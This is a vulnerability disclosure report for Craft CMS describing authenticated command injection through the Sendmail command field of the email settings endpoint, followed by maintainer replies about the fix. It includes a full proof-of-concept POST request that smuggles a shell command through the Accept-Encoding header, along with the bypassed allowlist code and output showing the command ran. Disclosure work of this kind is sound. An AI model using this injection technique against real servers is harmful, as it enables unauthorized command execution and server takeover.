Authenticated RCE through /admin/settings/email endpoint in craftcms/cms
Reported on
May 7th 2022
Description
Craftcms is vulnerable to Command Injection on the email settings, on the /admin/settings/email
endpoint. An attacker can send a POST request with a specially crafted transportTypes[craft\mail\transportadapters\Sendmail][command]=
parameter to inject arbitrary commands that will be executed by the server. This can be exploited to gain access to sensitive information, or to take control of the server.
Proof of Concept
- As an authenticated user, send the following POST request :
POST /admin/settings/email HTTP/1.1
Host: tutorial.nitro
Content-Length: 1567
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://tutorial.nitro
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://tutorial.nitro/admin/settings/email
Accept-Encoding: /bin/touch /tmp/caio.txt; -bs
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: CraftSessionId=a9c4d48f469aeafb0104ae0764ab2ced; 1031b8c41dfff97a311a7ac99863bdc5_identity=44097a28c77a8e9b50bf5a3961405a423a803d86736130a4238217a4a6fd9208a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_identity%22%3Bi%3A1%3Bs%3A159%3A%22%5B1%2C%22%5B%5C%229RBgto_5gOySUsNpsV3PFZ9zyT1Ulw_4QgDHBHSsNkftGaxKV3eQpZCfy1_Lf4tywuYQeJ6jxjNPIv3mP-KKwfRy7ERG_oqTRv_-%5C%22%2Cnull%2C%5C%22727ad4f7864c7014a50b399443285ac1%5C%22%5D%22%2C3600%5D%22%3B%7D; CRAFT_CSRF_TOKEN=7b630e55d438c66036fd34b88848d375b3b4df81000e394ccc9e9b7856f979e6a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22XlVZEWxgLyFWBOCwEUDw7JEbRpwFddHl0QD3Up86%7C899f57f7a62d2d6a628a1ff63d0464143fc1900e4b3a75fc509cc9ff79344fc9XlVZEWxgLyFWBOCwEUDw7JEbRpwFddHl0QD3Up86%7C1%22%3B%7D; 1031b8c41dfff97a311a7ac99863bdc5_username=85a1d514f8cd30fd480bbc5a47bbd795f4a09c14e02d5831744def469bca384ea%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D
Connection: close
CRAFT_CSRF_TOKEN=xxx&action=system-settings%2Fsave-email-settings&
redirect=61397312e1a8395a0eee0b2326b3ca7166610066e62b4322d1747aaa889b1270settings&fromEmail=g3ol4d0%40gmail.com&
replyToEmail=&fromName=test&transportType=craft%5Cmail%5Ctransportadapters%5CSendmail&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSendmail%5D%5Bcommand%5D=%24HTTP_ACCEPT_ENCODING&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bhost%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bport%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5BuseAuthentication%5D=1&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Busername%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bpassword%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5BencryptionMethod%5D=none&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Btimeout%5D=10&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Busername%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Bpassword%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Btimeout%5D=10&action=system-settings%2Ftest-email-settings
The transportTypes[craft\mail\transportadapters\Sendmail][command]=
parameter was set to $HTTP_ACCEPT_ENCODING
, this is necessary to bypass the _allowedCommands()
function on htdocs/vendor/craftcms/cms/src/mail/transportadapters/Sendmail.php
.
private function _allowedCommands(): array
{
// Grab the current value from the project config rather than $this->command, so we don't risk
// polluting the allowed commands with a tampered value that came from the post data
$command = Craft::$app->getProjectConfig()->get('email.transportSettings.command');
return array_unique(array_filter([
!str_starts_with($command, '$') ? $command : null,
self::DEFAULT_COMMAND,
ini_get('sendmail_path'),
]));
}
The function fails to proper check if the command should be accept because an attacker can use the $HTTP_
env variables to bypass the check.
The command is than inserted on the Accept-Encoding: /bin/touch /tmp/caio.txt; -bs
header (or any other). It's also necessary to pass an -bs
string to the command because of the /htdocs/vendor/symfony/mailer/Transport/SendmailTransport.php
if (null !== $command) {
if (!str_contains($command, ' -bs') && !str_contains($command, ' -t')) {
throw new \InvalidArgumentException(sprintf('Unsupported sendmail command flags "%s"; must be one of "-bs" or "-t" but can include additional flags.', $command));
With that we can execute arbitrary command on the server.
$ ls -lhrat /tmp/
[...]
-rw-r--r-- 1 www-data www-data 0 May 7 18:56 caio.txt
drwxrwxrwt 1 root root 4.0K May 7 18:56 .
Impact
An authenticated attacker can execute arbitrary command on the server. This can be exploited to gain access to sensitive information, or to take control of the server.
Occurrences
Sendmail.php L125
I think _allowedCommands should be fixed to have the env vars on mind.
Hi @admin , we have any updates about this ? I saw that the maintainer has opted out ...
@caioluders - we have reached out to the maintainer manually, as they have asked for their repository to be opted out of the platform.
I will keep you updated on the status of their response 👍
Technically an issue, I suppose, but pretty edge-case.
You'd need to:
• Have an authenticated control panel session.
• Be an administrator
• Be able to alter project config files on the filesystem, which we recommend against by telling people to set allowAdminChanges
to false
in production environments: https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production
Regardless, the sendmail
command now excludes any environment variables that are prefixed with HTTP_
and any fields that support parsing environment variables now exclude variables that begin with $HTTP
as an autocompleted suggestion.